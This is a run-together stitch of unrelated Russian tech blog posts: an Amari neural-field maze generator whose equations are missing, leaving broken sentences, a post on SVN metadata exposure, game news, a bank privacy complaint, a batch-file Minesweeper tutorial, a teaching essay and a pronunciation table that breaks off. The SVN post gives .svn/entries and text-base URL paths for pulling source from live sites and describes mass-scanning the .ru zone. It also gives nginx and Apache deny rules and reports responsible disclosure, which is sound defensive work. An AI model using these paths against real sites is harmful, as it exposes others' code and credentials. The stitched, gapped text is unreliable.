Многие из читателей уже сталкивались с задачей генерации лабиринта в той или иной форме и знают, что для ее решения зачастую используют алгоритмы Прима и Крускала нахождения минимального остовного дерева в графе, вершины которого являются ячейками лабиринта, а ребра представляют проходы между соседними ячейками. Мы же сделаем смелый шаг прочь от теории графов в сторону… вычислительной нейробиологии.
В течение XX века ученые строили математические модели одиночных нейронов (клеток нервной системы) и их взаимодействия между собой. В 1975 году С. Амари представил свету свою непрерывную модель коры головного мозга. В ней нервная система рассматривалась как сплошная среда, в каждой точке которой находится «нейрон», характеризуемый значением потенциала своей мембраны, которая меняет свой потенциал, обмениваясь зарядами с соседними нейронами и внешними раздражителями. Модель Амари знаменита тем, что объясняет многие феномены человеческого зрения и, в частности, зрительные галлюцинации, вызываемые психоактивными веществами.
Модель Амари, в ее простейшем виде, представляет собой задачу Коши для одного интегро-дифференциального уравнения:Здесь не обойтись без пояснений:
- — вещественное значение потенциала мембраны нейрона в точке в момент времени .
- — потенциал покоя (некоторая вещественная константа).
- — ступенчатая функция Хэвисайда:
- — весовая функция.
- — внешний раздражитель.
- — распределение потенциала в начальный момент времени.
- — произвольная точка области , на которой определен потенциал. Поскольку мы планируем генерировать двумерное изображение лабиринта, в качестве будем рассматривать всю вещественную плоскость.
- Частная производная по времени в левой части обозначает мгновенное изменение потенциала . Правая часть задает правило этого изменения.
- Первые два слагаемых правой части означают, что при отсутствии раздражителей значение потенциала стремится к значению потенциала покоя.
- Следующее слагаемое учитывает воздействие соседних нейронов. Функция Хэвисайда играет роль активационной функции нейрона: нейрон начинает влиять на соседей лишь при условии, что его потенциал больше нуля. Будем далее называть такие нейроны активными, а множество точек с положительным потенциалом — областью активности. Ясно, что покоящиеся нейроны не должны быть активными, то есть потенциал покоя не должен быть положительным. Активных соседей можно условно разделить на две группы: возбуждающие и тормозящие. Возбуждающие нейроны увеличивают потенциал соседей, а тормозящие — уменьшают. При этом возбуждающие создают мощный всплеск активности в малой окрестности, а тормозящие постепенно гасят активность в окрестности большого радиуса. Именно этот факт отражен в выборе весовой функции в форме «мексиканской шляпы»:
- Последнее слагаемое правой части уравнения учитывает действие внешнего раздражителя. Например, для зрительной коры головного мозга естественным раздражителем является сигнал, полученный с сетчатки глаза. Будем считать, что раздражитель задан неотрицательной стационарной (независящей от времени) функцией.
Зададимся вопросом: можно ли подобрать параметры модели так, чтобы ее стационарное решение (при ) было изображением некоторого лабиринта?
Свойства решений модели Амари
Для анализа решений модели Амари нам будет достаточно ограничиться рассмотрением одномерного случая. Для простоты будем полагать, что постоянна на всей прямой.
В первую очередь нас интересуют так называемые бамп-решения. Они замечательны тем, что положительны лишь на некотором конечном интервале с подвижными границами. Уравнение Амари для них записывается следующим образом:Чтобы понять, как ведет себя его решение, введем функциюТеперь то же уравнение можно переписать так:Нам известно, что бамп-решение обращается в ноль на границах интервала активности (потому они и называются границами). Запишем это условие на правой границе:А теперь продифференцируем последнее тождество по переменной :Отсюда:Подставляя последнее выражение в уравнение для бамп-решения при , получим:Теперь заметим, что частная производная по в левой части всегда отрицательна, так как слева от правой границы решение больше нуля, а справа от нее — меньше. ПоэтомуТаким образом, направление сдвига границы зависит лишь от значения выражения в правой части. Если оно больше нуля, то область активности расширяется, если меньше — сужается. При равенстве нулю достигается равновесие.
Взглянем на возможные графики функции .
Очевидно, возможны два случая:
- Предельное значение неотрицательно. Тогда область активности бамп-решения будет неограниченно расширяться.
- Предельное значение отрицательно. Тогда область активности будет ограничена. Более того, в этом случае можно показать, что связные компоненты области активности решения уравнения Амари никогда не сливаются.
К сожалению, в двумерном случае получить явное выражение для функции затруднительно, поэтому мы просто оценим ее: Отсюда:
Генерация лабиринта
Собрав багаж необходимых знаний, мы можем приступить к, собственно, алгоритму генерации лабиринта.
Прежде всего, определимся с самим понятием «лабиринт». Под лабиринтом будем подразумевать бинарную функцию такую, что область связна. Значение 0 соответствует свободной ячейке, а значение 1 — непроходимой стене. Условие связности говорит о том, что из любой свободной ячейки можно добраться до любой другой, не разрушая стены. Функцию будем искать в виде:где — решение модели Амари. Осталось лишь определиться с параметрами модели.
Начнем с того, что зафиксируем произвольное отрицательное значение . Естественно положить . Теперь зададим функцию . Пусть ее значение в каждой точке определяется случайной величиной, равномерно распределенной на отрезке . В таком случае раздражитель не будет создавать активность. Зафиксируем произвольное положительное . Этот параметр влияет лишь на абсолютную величину потенциала, потому не представляет интереса. Зафиксируем произвольные положительные . Они определяют характерную толщину стен лабиринта. Параметр попробуем определить экспериментально, а затем сравнить с теоретической оценкой, полученной в предыдущем разделе.
Стационарное решение будем искать методом последовательных приближений:
А вот и долгожданная интерактивная демонстрация на Python:
import math
import numpy
import pygame
from scipy.misc import imsave
from scipy.ndimage.filters import gaussian_filter
class AmariModel(object):
def __init__(self, size):
self.h = -0.1
self.k = 0.05
self.K = 0.125
self.m = 0.025
self.M = 0.065
self.stimulus = -self.h * numpy.random.random(size)
self.activity = numpy.zeros(size) + self.h
self.excitement = numpy.zeros(size)
self.inhibition = numpy.zeros(size)
def stimulate(self):
self.activity[:, :] = self.activity > 0
sigma = 1 / math.sqrt(2 * self.k)
gaussian_filter(self.activity, sigma, 0, self.excitement, "wrap")
self.excitement *= self.K * math.pi / self.k
sigma = 1 / math.sqrt(2 * self.m)
gaussian_filter(self.activity, sigma, 0, self.inhibition, "wrap")
self.inhibition *= self.M * math.pi / self.m
self.activity[:, :] = self.h
self.activity[:, :] += self.excitement
self.activity[:, :] -= self.inhibition
self.activity[:, :] += self.stimulus
class AmariMazeGenerator(object):
def __init__(self, size):
self.model = AmariModel(size)
pygame.init()
self.display = pygame.display.set_mode(size, 0)
pygame.display.set_caption("Amari Maze Generator")
def run(self):
pixels = pygame.surfarray.pixels3d(self.display)
index = 0
running = True
while running:
self.model.stimulate()
pixels[:, :, :] = (255 * (self.model.activity > 0))[:, :, None]
pygame.display.flip()
for event in pygame.event.get():
if event.type == pygame.QUIT:
running = False
elif event.type == pygame.KEYDOWN:
if event.key == pygame.K_ESCAPE:
running = False
elif event.key == pygame.K_s:
imsave("{0:04d}.png".format(index), pixels[:, :, 0])
index = index + 1
elif event.type == pygame.MOUSEBUTTONDOWN:
position = pygame.mouse.get_pos()
self.model.activity[position] = 1
pygame.quit()
def main():
generator = AmariMazeGenerator((512, 512))
generator.run()
if __name__ == "__main__":
main()
Я полагаю, что комментарии излишни. Хотелось бы отметить лишь то, что свертка с весовой функцией вычисляется через фильтр Гаусса, причем изображения продолжаются периодически на всю плоскость (параметр «wrap»). Демонстрация интерактивна в том смысле, что позволяет принудительно установить положительный потенциал в любой точке по клику.
Поведение решения, как и ожидалось, зависит от выбора параметра :
Теперь получим теоретическую оценку оптимального значения параметра . Оно удовлетворяет условию:Поэтому его можно оценить следующим образом:Неплохо, однако реальное значение чуть выше теоретической оценки. В этом легко убедиться, положив .
Наконец, можно менять степень «разреженности» лабиринта, изменяя значение параметра :
Заключение
Вот мы и закончили рассмотрение, пожалуй, самого необыкновенного способа генерации лабиринтов. Надеюсь, что статья показалась Вам интересной. В заключение приведу список литературы для желающих расширить свой кругозор:
[1] Konstantin Doubrovinski, Dynamics, Stability and Bifurcation Phenomena in the Nonlocal Model of Cortical Activity, 2005.
[2] Dequan Jin, Dong Liang, Jigen Peng, Existence and Properties of Stationary Solution of Dynamical Neural Field, 2011.
[3] Stephen Coombes, Helmut Schmidt, Ingo Bojak, Interface Dynamics in Planar Neural Field Models, 2012.
Пару месяцев назад нами (2Товарища и Антон Исайкин) была обнаружена уязвимость, присущая в основном большим интернет-проектам (вроде Рамблера, Мейла, Яндекса, Оперы и пр.). Удалось получить доступ к файловым структурам известнейших сайтов (в общей сложности 3320 сайтов) и в ряде случаев их полные исходные коды.
Казалось бы, что в XXI веке трудно найти подобную уязвимость. Кажется, что уже всё найдено, а то что не найдено, сидит где-то очень очень глубоко. Оказалось, что корнем сегодняшнего зла является вполне повседневная вещь. Наверняка каждый из вас когда-нибудь имел дело с системой контроля версий SVN.
SVN является продвинутым средством для организации совместной разработки десятков, а то и сотен разработчиков. В силу особенностей архитектуры, SVN хранит в каждой директории проекта свои метафайлы, аккуратно сложенные в скрытую директорию .svn. В одном из файлов под названием entries находится список всех файлов и директорий, расположенных в той же папке, что и .svn. Так же там находится информация о расположении репозитория, размере файлов, даты их изменения и логины пользователей, работающих над проектом. Уже не плохо, правда? Объясню, получается, если проект разрабатывается с помощью SVN, то заглянув по адресу draftcopy.ru/.svn/entries мы увидим файловую структуру корня проекта с авторами, последними изменениями, ссылкой на основную ветку репозитория итп.
Но можно пойти и далее. В той же папке .svn находится директори text-base, в которой лежат последние версии всех файлов, находящихся в репозитории. Картину дополняет так же и то, что файлы имеют не стандартное расширение (например .php), которое позволяет их сразу отправить на интерпретатор, а дополнительное расширение .svn-base, благодаря которому файл отдается запросившему его человеку «как есть», т.е. голый исходный код!
draftcopy.ru/.svn/text-base/index.php.svn-base
Стоит заметить, что описанная картина является идеальной и хоть она и была таковой в большинстве случаев, все же большой процент исходных кодов не удалось получить по тем или иным причинам.
Впервые осознав, что обнаруженная уязвимость присуща большинству проектов последние девять лет, было решено полностью просканировать рунет чтобы посмотреть чем живут интернет-проекты и получить интересную статистику. Но перед историей о том как это было, следует рассказать седым админам, как защищаться от подобного…
Защита от уязвимости
Уязвимость можно обойти несколькими путями. Путь в лоб — запретить обращаться к метадиректориям SVN по 80-ому порту, т.е. средствами вебсервера.
Решение для nginx
location ~ /.svn/ {
deny all;
}
Глобальных локейшенов в nginx`е нет, поэтому прийдется подписывать для каждой server области. Чтобы правило имело силу, необходимо загружать его до других локейшенов с регулярным выражением. Универсальный способ — первым локейшеном.
Решение для Apache
<Directory ~ ".*\.svn">
Order allow,deny
Deny from all
Satisfy All
</Directory>
Тут немного проще, дописываем это в httpd.conf и на всех проектах под управлением apache чтение из директории .svn будет недоступно.
Решение средствами SVN
Защита от уязвимости средствами вебсервера — лечение болезни. Любой доктор скажет, что профилактика проще, легче и менее затратней, чем лечение. Поэтому лучшим решение будет отсутствие этих самых метадиректорий в корне проекта. Добиться этого можно средствами svn export из основной ветки.
Информация взята с twocomrades.ru
История исследования
Как уже было сказано, было решено просканировать весь рунет на наличие подобной уязвимости. Были подняты прокси-сервера, написан парсер и получена свежая база доменов в зоне ru. Первая версия скрипта работала две недели, получая сайт за сайтом в один поток. К завершению сканирования, база насчитывала более 3000 уязвимых сайтов и занимала более ста гигабайт исходных кодов.
Проблемой первого сканировния было то, что скачивались все сорцы без разбора, не зависимо от того, отдавали они 200 или 500 код, а так же закачивалась графика и js-скрипты. А так же часто веб-сервера были настроены таким образом чтобы отдавать 200 код, даже если файл на самом дела отсутствовал.
Вторая версия скрипта была уже шустрее, работала в несколько потоков с двух серверных машин и правильно различала коды ответа содержимое полученных страниц. Мы обошли весь рунет за 4 дня. Дальнейшими планами была база доткомов. Стало очевидно, что при текущих ресурсах обход был бы выполнен как минимум за пару лет (зона com сейчас насчитывает более 700 млн доменов (против 2 млн ru)).
К дел был привлечен отличный си-программист Андрей Сатеренко, который написал быстрого демона, который сумел бы в пару раз сократить наши временные затраты. Но, к сожалению, к этому моменту лето кончилось, навалилилась работа. Грандиозные планы было решено свернуть.
Прежде чем публиковать открыто информацию об уязвимости, необходимо было предупредить всех пострадавших. В первую очередь письма были разосланы гигантам (yandex.ru, rambler.ru, mail.ru, opera.com, rbc.ru, 003.ru, bolero.ru, habrahabr.ru, итого 19 адресов), затем, сегодняшней ночью, письма получили остальные 3000+ сайтов.
Выпуск этой статьи был задержан ожиданием пока opera.com закроет уязвимость на всех своих серверах.
Немного статистики:
Просканировано доменов: 2253388
Уязвимых: 3320
Статистики по оповещениям пока нет, возможна она будет опубликована через пару недель. Из крупных порталов, ответили шестеро. Самым оперативным оказался Яндекс, прислав ответное письмо ночью в воскресенье. Десять проектов никак не прореагировали на наши письма, три проекта закрыли уязвимость не поблагодарив.
Мы не злопамятные, мы запишем их имена…
Несколько интересных фактов:
- Киберсквотеры полюбили SVN, как и оптимизаторы;
- Единый CSS для календарей яндекса собирается из десятка CSS средстами $make из консоли 0_0;
- На проектах Рамблера пользуются сервисами Яндекса 0_0, найдены файлы «подтверждения домена» для сервисов Яндекса;
- РБК использует и сервисы яндекса и сервисы гугля и очень любят «сложные» пароли;
- Опера уважает MySQL, но сайт у них на голом html с реальными директориями и поддиректориями;
- Блондинка уважает CodeIgniter;
PostgreSQL уважают движок wikimedia => PostgreSQL уважают MySQL ;-) ошибко ;-(
- Все проекты Футурико (и Лепра) написаны на perl.
- Порядка 10 сайтов со словами в домене типа «hack» и «secure» уязвимы;
- Многие уверены, что назвав директорию с phpmyadmin примерно «__xpma123uff__» но сохранив пароль в конфиг, это хорошая защита;
- Многие до сих пор хранят конфиги в inc файлах, без расширения .php, которые открываются как текст в браузере.
Для вас старались 2Товарища (mobilz) и Антон Исайкин (oowl, twi).
Мы готовы к сотрудничеству ;)
P.S. Во избежании конфликтов все исходные коды, полученные за время исследования были распечатанны и сожжены :-)
P.S.S. Два пункта:
- абсолютно все, кто мог пострадать, получили предупреждения об уязвимости с точной датой обнародования заранее.
- никакие исходные коды ни при каких условиях не будут опубликованы или проданы. Не стоит писать нам по этому поводу.
P.P.P.S. Спасибо за содействие хабрапользователю oowl.
P.P.P.P.S. Никаких сорцов самого поискового механизма Яндекса получено не было, однако были получены корни веб морды некоторых ресурсов. Верстка, xmlapi, xsl шаблоны итп. Ничего серьезного, разве что все адреса репозиториев, логины разработчиков итп. Кукуц, Бобук, расслабьтесь.
Игорь Сысоев, ведущий системный администратор компании Рамблер, разработчик известного своей легкостью веб-сервера nginx ответил на пару наших вопросов:
- Q: Отчего сразу столько известных проектов пренебрегли такой элементарной возможностью утечки?
A: Причин, я думаю, много — кто-то считает, что в .svn лежит всё то же самое, доступное и без .svn. Кто-то, возможно, просто не знал или забыл об .svn.
- Q: Планируется ли внести в nginx возможность глобально перенаправлять URL (до директивы server, чтобы можно было при настройке сразу заблокировать потенциально опасные адреса)?
A: Нет. Я считаю, что глобальные настройки в конечном итоге приводят к конфигурации, которую с каждым разом всё сложнее сопровождать.
На конференции Google I/O компания Rovio презентовала веб-версию Angry Birds, основанную на WebGL. Она «брендированная» (расположена по адресу chrome.angrybirds.com и снабжена логотипом Хрома), но запускается и в других браузерах. Впрочем, вот тут вошедшая в поговорку скорость Chrome становится настоящим конкурентным преимуществом — от нее теперь зависит количество FPS.
Игра уже была добавлена в Chrome Web Store.
Google также объявил на I/O о введении покупок внутри веб-приложений из Chrome Web Store, установив комиссию всего лишь в 5% (за что удостоился овации от разработчиков), и в Angry Birds обещаны такие внутриигровые товары (например, Mighty Eagle).
Прогнозирую снижение производительности труда офисных работников вдвое.
И появление множества постов «вот теперь пора устраивать похороны флэша».
Update: у многих после 20-го уровня не загружался 21-й, но, как сообщается, это уже исправлено. Кроме того, у части макюзеров забавная проблема: игра работает во всех браузерах, кроме Хрома.
Я дал знакомому номер моей карты, чтобы он мог перевести мне деньги.
Знакомый сделал перевод и получил квитанцию.
В его квитанции оказались указаны мои паспортные данные (см. скан квитанции под катом).
Я сообщил о проблеме на странице www.facebook.com/sberbank, получил рекомендацию написать на адрес zabota@sberbank.ru
17 сентября я отправил на этот адрес описание истории и вопрос:
«Сообщите пожалуйста, почему и как в квитанции оказались мои паспортные данные и, таким образом, произошла передача моих персональных данных третьему лицу?»
Прошло почти 2 недели, никакого ответа я так и не получил, поэтому начинаю размещение открытых сообщений.
Я считаю, что важно, чтобы максимальное количество клиентов Сбера узнало о том, как банк относится к их личным данным.
UPDATE: А в Альфа-клике Альфа-Банка оказывается можно узнать ФИО и номер счёта клиента, зная лишь имейл или телефон (откройте печатную форму после перевода). Гуляй, Рассея!
Однажды захотелось мне написать Minesweeper… на батниках. И я его написал.
Встречайте!!! Minesweeper for cmd.exe
Итак, особенности данного продукта:
- Оригинальное лого
- Двухцветный текстовой графический интерфейс (фон — чёрный, текст — серый)
- Возможность воспроизведения программы практически на любом компьютере
В общем, это настоящий сапер (а не те жалкие подобия — KMines и сапер for Windows) для настоящих мужчин. И далее вы сможете прочитать как сделать свой крутой сапер.
Скриншот игры.
Любая серьезная bat-программа не должна оставлять после себя следов, типа лишних переменных. Для этого используются команды setlocal (в начале) и endlocal (в конце). Больше информации: setlocal /?.. Ладно, перейдем к самой игре.
В первую очередь мы создадим два массива — реальное и видимые поля. Так как массивов нет, то будем импровизировать — создадим кучу переменных вида mfield34 и rfield 69. Для этого мы будем использовать цикл for.
for /L %%x in (1,1,9) do for /L %%y in (1,1,9) do set mfield%%x%%y=?
for /L %%x in (1,1,9) do for /L %%y in (1,1,9) do set rfield%%x%%y=?
Вообще, for помогает в решении большого кол-ва задач. Подробнее вы сможете прочитать выполнив cmd.exe -> for /?
Теперь нужно проставить бомбы на поле. Для этого используем переменную %random% (содержит десятичное число между 0 и 32767) и строки расширения. Подробности: cmd.exe -> set /?..
set /a bx=%random:~-2%
set bx=%bx:~0,1%
Объяснения:
1. set /a используется для использования переменной как числа и выполнения арифметических операций (опять же, читаем cmd.exe -> set /?)
2. %random:~-2% — число между 0 и 99
3. %bx:~0,1% — первая цифра получившегося бреда.
Теперь пытаемся создать новую бомбу (и добавить еденицу к счетчику бомб) с помощью команды call, т.е. вызвем другую процедуру и передадим ей два параметра: содержание переменной и имя переменной (переменная — часть массива). Кстати, содержание переменной можно получить только с помощью команды call (пример: call: процедура %%переменная%счетчик1%%счетчик2%%%). Кстати, REM — это комментарий в бат-файлах.
:genbomb
call :newbomb %%rfield%r1%%r2%%% rfield%r1%%r2%
REM Проверяем на кол-во бомб. Если равно максимальному, то выходим из процедуры.
if "%bombs%" == "%maxbombs%" goto:eof
:newbomb
if not "%1"=="X" (
set %2=X
set /a bombs=%bombs%+1
)
REM goto:eof - это быстрый возрат из процедуры.
goto:eof
Также необходимо вызвать процедуру :genbomb из цикла инициализации (т.е. при старте новой игры) с помощью call.
Теперь нам необходимо проставить числа во всех клеточках, не заполненных бомбами. С помощью цикла for вызываем специальную процедуру, которой передаем четыре параметра. В этой процедуре мы просто считаем количество стоящих рядом бомб. Необходимо учесть, что для точки (4;4) будет 8 соседей, а для точки (1;1) — всего три.
for /L %%x in (1,1,9) do for /L %%y in (1,1,9) do call :dosumfield %%x %%y %%rfield%%x%%y%% rfield%%x%%y
:dosumfield
REM Если в клеточке уже что-то есть (бомба), то выходим.
if not "%3"=="?" goto:eof
REM Устанавливаем координаты первой соседней клетки.
set /a x1=%1 - 1
set /a y1=%2 + 1
REM ..... Пропускаем код .....
set sum=0
REM Если координаты первой точки входят в массив, то вызываем процедуру для увеличения счетчика кол-ва бомб
if %1 GTR 1 if %2 LSS 9 call :newsum %%rfield%x1%%y1%%%
REM ..... Пропускаем код .....
:newsum
if "%1"=="X" set /a sum+=1
goto:eof
Итак, поле у нас есть, теперь нужно его вывести. Опять же, необходимо использовать цикл for (ну, если вам скучно, то вы можете и вручную все прописать). Кстати, тут используется новая особенность команды call: первым аргументом можно ввести другую команду (echo, set). И поэтому не нужно создавать однострочные процедуры.
for /L %%y in (1,1,9) do call set line%%y=:%%y: %%mfield%%y1%% %%mfield%%y2%% %%mfield%%y3%% %%mfield%%y4%% %%mfield%%y5%% %%mfield%%y6%% %%mfield%%y7%% %%mfield%%y8%% %%mfield%%y9%% :%%y:
REM Все клеточки, не имеющие соседей-бомб не отображаем
for /L %%y in (1,1,9) do call set line%%y=%%line%%y:0= %%
echo %line0%
echo :---------------------------------:
for /L %%y in (1,1,9) do call echo %%line%%y%%
echo :---------------------------------:
echo %line0%
Теперь попытаемся считать команды пользователя. Первый символ — команда, второй и третий — координата. На всякий случай удалим все пробелы. Для того, чтобы исключить batch-injection (выполнение посторонних команд с помощью ввода текста) или просто смерть батника, работаем только с тремя символами. Также необходимо проверить, являются ли последние два символа — цифрами.
REM Заносим в input магическую строку, на случай если пользователь забьет на ввод данных.
set input=0 00
set /p "input=Input: "
set input=%input: =%
REM Первая буква - необходимое действие.
set action=%input:~0,1%
REM Пример действия
if "%action%"=="h" (
cls
REM Вызываем справку (call) и идем в цикл игры (goto)
call :help
goto:gamecycle
)
REM Если первый символ не является командой, то рассказываем кое-что пользователю.
if not "%action%"=="q" if not "%action%"=="h" if not "%action%"=="o" if not "%action%"=="f" if not "%action%"=="n" call:errorIO2
REM Если второй и третий символ - не координаты, то назначим их равными нулю.
set ix=0
set iy=0
for /L %%a in (1,1,9) do if "%%a"=="%input:~1,1%" set ix=%%a
for /L %%a in (1,1,9) do if "%%a"=="%input:~2,1%" set iy=%%a
REM Если второй/третий символ не является координатой, то выведем ему сообщение (call) и перейдем к игровому циклу.
if "%ix%"=="0" (
call :errorIO1
goto:gamecycle
)
if "%iy%"=="0" (
call :errorIO1
goto:gamecycle
)
REM Дальше идут команды требующие правильных координат
Теперь осталось расписать как открывать клетки поля. В сапере есть одна особенность: если рядом с клеткой 0 бомб, то открываем рядом стоящие клетки (не по диагонали). Т.е. необходимо использовать рекурсию.
REM Если команда пользователя - открыть клетку, то запускаем спец. процедуру с параметрами: координаты, значение клетки в реальном поле, значение клетки в видимом поле.
if "%action%"=="o" (
call :openpoint %ix% %iy% %%rfield%ix%%iy%%% %%mfield%ix%%iy%%%
goto:gamecycle
)
REM ..... Пропускаем много кода .....
:openpoint
REM Если клетка не пуста - рассказываем пользователю много интересного, если в клетке бомба - уже поздно что-либо рассказывать.
if not "%4"=="?" (
echo Point x=%1 y=%2 already opened
pause>nul
goto:eof
)
if "%3"=="X" (
REM Ставим переменную die в единицу, после чего делаем выводы.
set die=1
for /L %%x in (1,1,9) do for /L %%y in (1,1,9) do call set mfield%%x%%y=%%rfield%%x%%y%%
goto:eof
)
REM А если ни то, ни другое, то пытаемся открыть эту и ближние клетки.
call :oaf %1 %2 %3 %4
goto:eof
REM А вот как раз и рекурсивная функция
:oaf
REM Если клетка пуста (выход за пределы поля) или в ней бомба - уходим отсюда.
if "%3"=="" goto:eof
if "%3"=="X" goto:eof
REM Открываем данную клетку
call set mfield%1%2=%%rfield%1%2%%
REM Если в данной клетке 0 бомб, то пытаемся открыть все ближние клетки.
if not "%3" == "0" goto:eof
REM xn, yn - координаты следующей клетки. Диагональ не проверяется.
set /a xn=%1
set /a yn=%2 + 1
REM Проверка, открыта ли эта клетка на видимом поле.
set dooaf=0
call :checkoaf %%mfield%xn%%yn%%%
REM Если нет (doaf==1), то вызываем себя, но с другими координатами.
if %dooaf%==1 call :oaf %xn% %yn% %%rfield%xn%%yn%%% %%mfield%xn%%yn%%%
REM ..... Еще очень много кода .....
goto:eof
Всего у нас осталось две интересные вещи — установка флагов и проверка, выиграл ли пользователь. Первое не интересно, разве что стоит заметить, что процедура должна обеспечивать установку и снятие флага с поля одной командой.
Пользователь победил в двух случаях:
- все флаги проставленны правильно;
- сумма проставленных флагов и неоткрытых клеточек равна кол-ву бомб;
Пользователь не победил в одном из трех случаев:
- количество флагов больше количества бомб;
if %flags% GTR %maxbombs% goto:eof
- не все флаги проставленны правильно;
- сумма проставленных флагов и неоткрытых клеточек не равна кол-ву бомб;
Последние два варианта определяются так:
REM Считаем кол-во правильно поставленных флагов и не открытых клеточек.
set nopoints=0
set rflags=0
for /L %%x in (1,1,9) do for /L %%y in (1,1,9) do call :checkfo %%mfield%%x%%y%% %%rfield%%x%%y%%
REM ..... Здесь много кода .....
:checkfo
if "%1"=="?" set /a nopoints+=1
if "%1"=="!" if "%2"=="X" set /a rflags+=1
goto:eof
После отработки такой процедуры в переменной nopoints будет содержаться кол-во пустых флагов, а в rflags — кол-во правильно проставленных флагов.
Естественно, я расписал не весь код, а только его часть. Сам код можно посмотреть здесь: Google Docs, html или здесь: Plain Text
P.S: Если будут вопросы — почему так, а не иначе — задавайте, я отвечу. Я, к сожалению, не каждую строку расписал, а только необходимые (на мой взгляд). Если вам что-то не понятно — задавайте вопросы. Также прошу прощения за мой английский и имена переменных/процедур.
P.P.S: Jabber на батниках поддерживать лень, поэтому я его забросил :-)
UPD1: Исправления:
- Улучшенная генерация поля
- Невозможность умереть на первом ходе
- Уменьшено количество бомб до 17
- Добавлена секретная команда 'r', выводящая таблицу рекордов (файл records.log)
UPD2: Исправления:
- Дополнен принцип ввода команды: теперь можно ввести только координаты, чтобы открыть клеточку.
- Изменен принцип открытия клеток
- Знаки вопроса (?) заменены на точку — "."
UPD3: Исправления:
- Исправлена проблема с records.log
Я преподаю программирование в университете с 2000 года. Когда-то я был зеленым преподом, который побаивался заходить к студентам, потому что нужно было выглядеть умным, все знать, уметь отвечать на каверзные вопросы. Потом я понял, что набор каверзных вопросов ограничен и, слушая их из года в год, я знал на все такие вопросы ответы. Но история не об этом.
Кроме преподавания я сам активно занимался (и занимаюсь) программированием. И преподавание в университете для меня сейчас хобби, которое в материальном плане скорее убыточно, т.к. за то время, которое я трачу на студентов, я бы заработал больше, чем мне платит университет. Но и не об этом данная история тоже.
А хочу я поделиться тем, как, на мой взгляд, стоит строить обучение программированию.
Не знаю как в других университетах, но в нашем программированию учат так. Есть теоретические лекции, где рассказывают о языках программирования и о базовых алгоритмах и структурах данных (сортировки, связанные списки, стеки, очереди и т.д. и т.п.) Есть практические занятия, где студенты выполняют одинаковые лабораторные работы. Их обычно от 3 до 5 за семестр. Вроде бы все хорошо. Есть теория и есть практика. Учись и набирайся опыта. Но, на мой взгляд, практика не совсем та. Каждый студент варится в своей каше, пишет маленькие проекты и опыта набирается крайне мало.
А теперь к сути поста! Попалась мне группа очень толковых студентов. Еще со школьных времен они умели неплохо программировать. И я решил с ними отказаться от классического подхода. Тогда они учились на первом курсе. Я предложил им не делать лабораторные работы, а разработать один большой совместный проект. Часть из них отказались и стали делать обычные лабораторки, а большинство согласились. Я предложил им написать клиент-серверное приложение для организации математических вычислений (умножение матриц, символьное дифференцирование и т.д.) На сервере будет заложена математика, а клиент – это просто визуальный интерфейс для задания входных данных и отображения результата. Сервер один, а клиентов может быть масса. Общение через TCP/IP. Напоминаю – это были студенты первого курса. Результат вышел не самый лучший, но прототип даже работал! Пусть работал с ошибками и даже падал, но, на мой взгляд, это был достойный результат!
Прошел год. Ребята перешли на второй курс. Преподавание программирования продолжается. Они уже не были удивлены, когда я предложил вместо скучных лабораторок снова разработать совместный проект. На этот раз был следующий проект. Необходимо было разработать платформу для проведения соревнований виртуальных роботов. Т.е. был лабиринт (многоэтажный). У роботов было оружие. Был разработан свой язык программирования (оказался очень похожим на Pascal) для задания логики поведения роботов. На сервер заливались алгоритмы роботов. Запускался движок. И на клиентских приложениях визуализировалась баталия роботов. Это лишь поверхностное описание задачи. Я хочу показать, что проект был далеко нетривиальный.
И тут работа закипела. Сначала мы коллективно составляли ТЗ. Я для ребят поставил Mediawiki. Там они редактировали ТЗ. Потом пошла реализация. Активно использовали SVN. Графика на OpenGL. Был разработан интерпретатор языка программирования для задания поведения роботов (кстати, это сделал один из студентов единолично). В процессе разработки выделились лидеры, которые активнее всех принимали решения по архитектуре. Иногда дело доходило чуть ли не до драки. Периодически более активные «пинали» тех, кто тормозил с реализацией своей части. Я просто ловил кайф, наблюдая за этим процессом. Такой опыт значительно полезней, чем лабораторные работы, написанные в одиночку. Хочу обратить внимание, что ребята действительно были толковые, и на выполнения лабораторных работ они бы потратили на порядок меньше времени, чем на участие в совместном проекте. Но им это тоже было по душе.
Если честно, то я потратил на эту группу тоже значительно больше сил и времени, чем если бы я проводил практические занятия по обычной схеме.
А что дальше, спросите вы? А дальше ребята проявили себя следующим образом. Трое из группы собрали команду (еще один участник команды учился не у меня) и вышли в международный финал Microsoft Imagine Cup (не в этом году). Двое из них сейчас уже работают в США. Очень хочется верить, что мой эксперимент с преподаванием хоть чуток, но помог им добиться такого результата.
А что я? Я сейчас не преподаю программирования на первых курсах и подобные эксперименты больше не ставлю. И, наверное, зря. Если этот пост прочитают преподаватели программирования – задумайтесь… Может быть стоит иногда отходить от классических канонов?
Вывод: Всегда приятней и легче получать знания и опыт, если процесс интересен. Не спорю, что мне попались изначально толковые студенты. Но я лично наблюдал, как умные ребята делают за пару часов лабораторную работу так, чтобы просто получить зачет. Не вкладывают в процесс душу и полученный опыт близок к нулю. Если вы преподаватель и видите в глазах студентов искорку — не дайте ей угаснуть!
P.S. Не исключено, что мои студенты узнали себя в этом посте. Прошло уже несколько лет, и я мог что-то перепутать. Не стесняйтесь написать мне – я поправлю.
Из знакомых мне айтишников очень немногие стараются правильно произносить английские слова. Конечно, привычнее произносить C++ как «си-плюс-плюс», а не «си-плас-плас» или «опен-бэ-эс-дэ», а не «оупэн-би-эс-ди».
Но когда «echo $value;» читают как «ечо валуй» — это уже не смешно. Другой человек вас может просто не понять, особенно иностранец.
В топике представлен небольшой список «сложных» слов, которые часто произносят неправильно.
Ориентироваться лучше не на мою (весьма приблизительную) транскрипцию, а на аудио.
♫ — прослушать произношение в словаре
► — прослушать произношение на youtube
Начнем с названий:
| ABBYY |
аби |
|
► |
|
| Adobe |
эдоуби |
[əˈdəʋbɪ] |
♫ |
|
| Apache |
эпэчи |
[əˈpætʃiː] |
► |
от «a-patchy» |
| Asus |
офиц. э́сус
амер. э́йсус |
|
►
|
|
| BenQ |
бенкью |
|
♫ |
|
| Cisco |
сискоу |
[ˈsɪskoʊ] |
♫ |
|
| EBay |
ибэй |
|
♫ |
|
| Eee PC |
и писи |
|
► |
|
| Ethernet |
изэрнэт |
[ˈiθərˌnɛt] |
♫ |
|
| Itanium |
айтэйниум |
[aɪˈteɪniəm] |
► |
|
| Juniper |
джу́нэпэр |
[ˈdʒunəpər] |
♫ |
|
| LaTeX |
лэйтех
лэйтек
латех
латек |
[ˈleɪtɛk]
['leɪtɛx]
[ˈlɑːtɛx]
[ˈlɑːtɛk] |
|
|
| Linux |
офиц. линэкс
вар. линукс |
